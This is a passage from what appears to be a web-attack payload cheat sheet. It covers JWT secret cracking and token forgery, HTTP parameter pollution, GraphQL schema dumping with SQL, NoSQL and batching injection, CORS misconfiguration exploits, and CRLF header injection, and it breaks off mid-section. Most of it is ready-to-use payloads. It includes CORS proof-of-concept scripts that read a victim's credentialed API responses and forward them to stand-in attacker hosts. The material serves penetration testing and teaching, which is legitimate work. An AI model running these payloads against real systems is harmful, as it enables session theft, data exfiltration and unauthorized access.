[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
```

* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`

### JWT cracker

```bash
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
```

### Hashcat

> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)

```bash
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
```

## CVE

* CVE-2015-2951 - The alg=none signature-bypass vulnerability
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
* CVE-2018-0114 - Key injection vulnerability
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
* CVE-2020-28042 - Null signature vulnerability

## References

* [Hacking JSON Web Token (JWT) - Hate\_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
* [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
* [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
* [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
* [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
* [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
* [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
* [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
* [Simple JWT hacking - @b1ack\_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
* [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
* [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
* [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
* [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
* [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
* [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)


# HTTP Parameter Pollution

## Summary

HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value\&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurance, some taking the last occurance, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.

## Tools

No tools needed. Maybe Burp or OWASP ZAP.

## How to test

HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error.

```
Example scenario.
WAF - Reads first param
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.

Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.)
```

### Table of refence for which technology reads which parameter

When ?par1=a\&par1=b

| Technology                                     | Parsing Result          | outcome (par1=) |
| ---------------------------------------------- | ----------------------- | :-------------: |
| ASP.NET/IIS                                    | All occurrences         |       a,b       |
| ASP/IIS                                        | All occurrences         |       a,b       |
| PHP/Apache                                     | Last occurrence         |        b        |
| PHP/Zues                                       | Last occurrence         |        b        |
| JSP,Servlet/Tomcat                             | First occurrence        |        a        |
| Perl CGI/Apache                                | First occurrence        |        a        |
| Python Flask                                   | First occurrence        |        a        |
| Python Django                                  | Last occurrence         |        b        |
| Nodejs                                         | All occurrences         |       a,b       |
| Golang net/http - `r.URL.Query().Get("param")` | First occurrence        |        a        |
| Golang net/http - `r.URL.Query()["param"]`     | All occurrences         |       a,b       |
| IBM Lotus Domino                               | First occurrence        |        a        |
| IBM HTTP Server                                | First occurrence        |        a        |
| Perl CGI/Apache                                | First occurrence        |        a        |
| mod\_wsgi (Python)/Apache                      | First occurrence        |        a        |
| Python/Zope                                    | All occurences in array |    \['a','b']   |

## References

* [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
* [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0\&ab_channel=PwnFunction)
* [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)


# GraphQL injection

> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

## Summary

* [Tools](broken://pages/U9GWUEiIf4oOwGaWXY51)
* [Exploit](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Identify an injection point](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Enumerate Database Schema via Instropection](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Extract data](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Extract data using edges/nodes](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Extract data using projections](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Enumerate the types' definition](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [Use mutations](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [NOSQL injection](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [SQL injection](broken://pages/U9GWUEiIf4oOwGaWXY51)
  * [GraphQL Batching Attacks](broken://pages/U9GWUEiIf4oOwGaWXY51)
* [References](broken://pages/U9GWUEiIf4oOwGaWXY51)

## Tools

* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
* [GraphQL-voyager - Represent any GraphQL API as an interactive graph](https://apis.guru/graphql-voyager/)
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)

## Exploit

### Identify an injection point

Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.

```js
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
```

Check if errors are visible.

```javascript
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```

### Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

```js
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
```

URL decoded query to dump the database schema.

```javascript
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}
```

Single line query to dump the database schema without fragments.

```js
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
```

### List path

```php
$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill
```

### Extract data

```js
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
```

![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)

### Extract data using edges/nodes

```json
{
  "query": "query {
    teams{
      total_count,edges{
        node{
          id,_id,about,handle,state
        }
      }
    }
  }"
} 
```

### Extract data using projections

:warning: Don’t forget to escape the " inside the **options**.

```json
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
```

### Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```

### Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

```javascript
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
```

### NOSQL injection

Use `$regex`, `$ne` frominside a `search` parameter.

```json
{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}
```

### SQL injection

Send a single quote `'` inside a graphql parameter to trigger the SQL injection

```powershell
{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}
```

Simple SQL injection inside a graphql field.

```powershell
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
```

### GraphQL Batching Attacks

Common scenario:

* Password Brute-force Amplification Scenario
* 2FA bypassing

```powershell
mutation finishChannelVerificationMutation(
  $input FinishChannelVerificationInput!,
  $input2 FinishChannelVerificationInput!,
  $input3 FinishChannelVerificationInput!,
){
  first: finishChannelVerificationMutation(input: $input){
    channel{
      id
      option{
        ... onChannelSmsOptions{
          number
        }
      }
      status
      notificationSubscription(last: 1000){ etc...  }
    }
  }


  second: finishChannelVerificationMutation(input: $input2){...}
  third: finishChannelVerificationMutation(input: $input3){...}
}
```

## References

* [Introduction to GraphQL](https://graphql.org/learn/)
* [GraphQL Introspection](https://graphql.org/learn/introspection/)
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/)
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
* [SQL injection in GraphQL endpoint through embedded\_submission\_form\_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066)
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql)
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531)
* [Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)


# CORS Misconfiguration

> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.

## Summary

* [Tools](broken://pages/DHCFQyW66afJtU2QmNv2)
* [Prerequisites](broken://pages/DHCFQyW66afJtU2QmNv2)
* [Exploitation](broken://pages/DHCFQyW66afJtU2QmNv2)
* [References](broken://pages/DHCFQyW66afJtU2QmNv2)

## Tools

* [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3v/Corsy/)
* [PostMessage POC Builder - @honoki](https://tools.honoki.net/postmessage.html)

## Prerequisites

* BURP HEADER> `Origin: https://evil.com`
* VICTIM HEADER> `Access-Control-Allow-Credential: true`
* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`

## Exploitation

Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.

### Vulnerable Example: Origin Reflection

#### Vulnerable Implementation

```powershell
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

#### Proof of concept

This PoC requires that the respective JS script is hosted at `evil.com`

```js
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

or

```html
<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>
```

### Vulnerable Example: Null Origin

#### Vulnerable Implementation

It's possible that the server does not reflect the complete `Origin` header but that the `null` origin is allowed. This would look like this in the server's response:

```
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: null
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

#### Proof of concept

This can be exploited by putting the attack code into an iframe using the data URI scheme. If the data URI scheme is used, the browser will use the `null` origin in the request:

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://victim.example.com/endpoint',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
   };
</script>"></iframe> 
```

### Vulnerable Example: XSS on Trusted Origin

If the application does implement a strict whitelist of allowed origins, the exploit codes from above do not work. But if you have an XSS on a trusted origin, you can inject the exploit coded from above in order to exploit CORS again.

```
https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
```

### Vulnerable Example: Wildcard Origin `*` without Credentials

If the server responds with a wildcard origin `*`, **the browser does never send the cookies**. However, if the server does not require authentication, it's still possible to access the data on the server. This can happen on internal servers that are not accessible from the Internet. The attacker's website can then pivot into the internal network and access the server's data without authentication.

```powershell
* is the only wildcard origin
https://*.example.com is not valid
```

#### Vulnerable Implementation

```powershell
GET /endpoint HTTP/1.1
Host: api.internal.example.com
Origin: https://evil.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

{"[private API key]"}
```

#### Proof of concept

```js
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.internal.example.com/endpoint',true); 
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

### Vulnerable Example: Expanding the Origin / Regex Issues

Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.

#### Vulnerable Implementation (Example 1)

In this scenario any prefix inserted in front of `example.com` will be accepted by the server.

```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

#### Proof of concept (Example 1)

This PoC requires the respective JS script to be hosted at `evilexample.com`

```js
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

#### Vulnerable Implementation (Example 2)

In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.

```
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}
```

#### Proof of concept (Example 2)

This PoC requires the respective JS script to be hosted at `apiiexample.com`

```js
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://api.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};
```

## Bug Bounty reports

* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574)
* [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147)
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200)
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249)
* [\[██████\] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298)

## References

* [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/)
* [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors)
* [CORS Misconfigurations Explained - Detectify Blog](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)


# CRLF

> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

## Summary

* [CRLF - Add a cookie](broken://pages/06Kw8fUUPGD253eHQLxY)
* [CRLF - Add a cookie - XSS Bypass](broken://pages/06Kw8fUUPGD253eHQLxY)
* [CRLF - Write HTML](broken://pages/06Kw8fUUPGD253eHQLxY)
* [CRLF - Filter Bypass](broken://pages/06Kw8fUUPGD253eHQLxY)
* [References](broken://pages/06Kw8fUUPGD253eHQLxY)

## CRLF - Add a cookie

Requested page

```http
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```

HTTP Response

```http
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```

## CRLF - Add a cookie - XSS Bypass

Requested page

```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

HTTP Response

```http
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0
```

## CRLF - Write HTML

Requested page

```http
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```

HTTP response

```http
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>
```

## CRLF - Filter Bypass

Using UTF-8 encoding

```http
